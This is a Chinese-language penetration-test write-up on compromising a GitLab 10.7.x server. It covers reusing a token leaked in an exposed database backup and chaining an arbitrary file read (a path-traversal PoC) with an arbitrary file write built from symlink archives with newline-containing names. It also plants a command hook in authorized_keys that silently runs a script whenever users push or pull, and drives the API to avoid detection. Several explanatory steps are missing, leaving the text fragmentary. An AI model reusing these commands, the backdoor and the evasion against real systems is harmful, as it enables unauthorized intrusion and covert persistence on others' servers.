nmap过了一遍,开了三个端口:
80的gitlab
22的SSH
8000的目录遍历
从8000端口的目录遍历获取到gitlab数据库的一个备份文件,很不幸的是这个备份文件是3年前的备份 :)
翻备份文件获取到的信息有如下:
到这个时候是两个思路:
如果要达成第一条,需要过一下gitlab的密码生成流程,ruby不会,作为最后的方式再说。
在翻了N个gitlab的漏洞分析之后,在https://paper.seebug.org/104/文章里面找到authentication_token可以访问接口,尝试使用数据库里面的token测试成功。
先确定gitlab的版本号:10.7.X
根据版本号在gitlab官方的issue里面翻到两处漏洞。
任意文件读取: https://gitlab.com/gitlab-org/gitlab-foss/issues/54857
任意文件写入: https://gitlab.com/gitlab-org/gitlab-foss/issues/49133
如果单是GetShell的话,用文件写入把ssh的公钥写到对应的目录,然后ssh登陆就可以了。
但是这样子就会造成两个问题:
所以这个作为备用方案尝试。
gitlab的提交更新的时候,是先ssh认证,然后再执行gitlab命令,公钥的位置一般是固定的:/var/opt/gitlab/.ssh/authorized_keys
,这个可以从gitlab的公钥可以很明显的看出来:
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...
所以可以利用任意文件写入漏洞,把这个公钥全部改一遍,流程是这样的:
公钥类似这样子:
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133 ;bash /var/tmp/gitlab.sh >/dev/null 2>&1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...
这里的gitlab.sh是用户push或者pull会触发执行,必须gitlab.sh脚本执行没有输出,不能阻塞。
再回头说一下这两个漏洞,测试之前可以用docker本地测一下,docker文件如下:
web:
image: 'gitlab/gitlab-ce:10.7.3-ce.0'
restart: always
hostname: '127.0.0.1'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://gitlab.example.com'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/steg0_initial_root_password')
unicorn['socket']='/opt/gitlab/var/unicorn/gitlab.socket'
ports:
- '80:80'
- '50443:443'
- '22:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './steg0_initial_root_password:/steg0_initial_root_password'
docker启动之后,设置用户的密码:
gitlab-ctl reconfigure
gitlab-ctl restart
重置密码:
root 用户登录服务器,一定要是 root
gitlab-rails console production
user = User.where(id: 2).first
user.password = '123456aa'
user.password_confirmation = '123456aa'
user.save
\l 查看数据库
\dt 查看表
\di 看索引
\c <db> 连接某个db
检测这个漏洞很简单,POC:
127.0.0.1:5080/api/v4/templates/gitignores/%2e%2e%2fPython%2ea
然后我们拿Token来测试一下任意文件读取:
先建好数据包,然后打包
tar zcf vuln.tar.gz *
为了避免被发现,可以使用api接口来操作:
新建项目:
curl --request POST --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" --form "path=project" --form "file=@./vuln.tar.gz" http://127.0.0.1:5080/api/v3/projects/import
导入项目(爆绝对路径):
curl --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70/import
删除项目:
curl --request DELETE --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70
任意文件读取
PAYLOAD=$(echo "../../../public/uploads/../shared/tmp/project_exports/test1/33333/083c74ddd76bc4a1f7ef7635efddcebd/uploads/host" | sed 's|\.|%2e|g' | sed 's|\/|%2f|g')
curl http://127.0.0.1/api/v3/templates/gitignores/$PAYLOAD%2ea -v|jq
注意事项:
tar zcf vuln.tar.gz ./*
会失败影响版本:>= 8.9.0
修复版本:11.0.4, 10.8.6, and 10.7.7
https://xz.aliyun.com/t/2661
https://gitlab.com/gitlab-org/gitlab-foss/issues/49133
https://gitlab.com/gitlab-org/gitlab-foss/issues/41757
建立一个文件名里面有换行符的软连接:
import os
os.symlink("/var/opt/gitlab", ".\nevil")
创建完了之后上传,成功导入项目之后Remove Project
,此时在gitlab里面会保存这个软连接。然后构造第二个压缩包:
import os
os.makedirs(".\nevil")
创建一个包含换行符的目录,然后在改目录下创建要写入的文件夹以及文件
步骤:
gitlab备份文件,使用以下命令
sudo gitlab-rake gitlab:backup:create